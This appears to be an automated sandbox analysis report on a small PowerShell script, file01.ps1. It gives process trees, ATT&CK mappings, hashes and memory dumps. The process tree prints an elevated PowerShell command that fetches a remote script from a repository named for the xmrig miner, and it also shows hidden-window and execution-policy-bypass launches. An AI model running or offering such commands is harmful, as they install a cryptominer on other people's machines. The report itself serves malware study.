58778391d7e78f26ead35877ea9d65b960f7b846db2f2e814e1f1b2e8f47ecbd

Resubmissions

29/06/2024, 17:27

240629-v1l2zsvfkj 8

29/06/2024, 17:25

240629-vzearaveqr 3

Analysis

max time kernel
42s
max time network
16s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
29/06/2024, 17:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file01.ps1
Size

106B
MD5

79f8239b5db8e5fa66798224a02cc687
SHA1

6eddc1b53c5da52883bce104e34bcb353ca1eb82
SHA256

58778391d7e78f26ead35877ea9d65b960f7b846db2f2e814e1f1b2e8f47ecbd
SHA512

c932b046702cba6db8c57e52b480c7adc9d35876647655a6518844d0010007e524c6c205e1b886d74f1888d9727043f515804eee3f154989c02b17d6ec3bd764

Score

8^/10

defense_evasion execution privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3020	powershell.exe
2980	powershell.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
2600	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3020	powershell.exe
2600	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 2600	3020	powershell.exe	29
PID 3020 wrote to memory of 2600	3020	powershell.exe	29
PID 3020 wrote to memory of 2600	3020	powershell.exe	29
PID 2536 wrote to memory of 2980	2536	cmd.exe	32
PID 2536 wrote to memory of 2980	2536	cmd.exe	32
PID 2536 wrote to memory of 2980	2536	cmd.exe	32

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1
  2⤵
  - Access Token Manipulation: Create Process with Token
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2600

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden wininit
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2980
- - C:\Windows\system32\wininit.exe
    "C:\Windows\system32\wininit.exe"
    3⤵
    PID:1952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3d1af1a37d3108b8635f540975a29831

SHA1
32aed8eb849c497798ba19905466ea1d7f155519

SHA256
137d2d46232f7775e8a6e6811908a26ef0dc83d20b1c45b4e0a443bb401448cd

SHA512
e2b17d2d2c08004f337e31ac8d4ba2e4f95e0eb101e0548b744fdf765edeb946d56d9d459cc6753313e9433a81d9b769162543ba16d4ed6e93811c6347856f97

Download Submit
memory/2600-16-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2600-15-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2980-24-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2980-25-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/3020-7-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/3020-9-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/3020-8-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/3020-17-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/3020-4-0x000007FEF629E000-0x000007FEF629F000-memory.dmp

Filesize
4KB

Download
memory/3020-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/3020-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download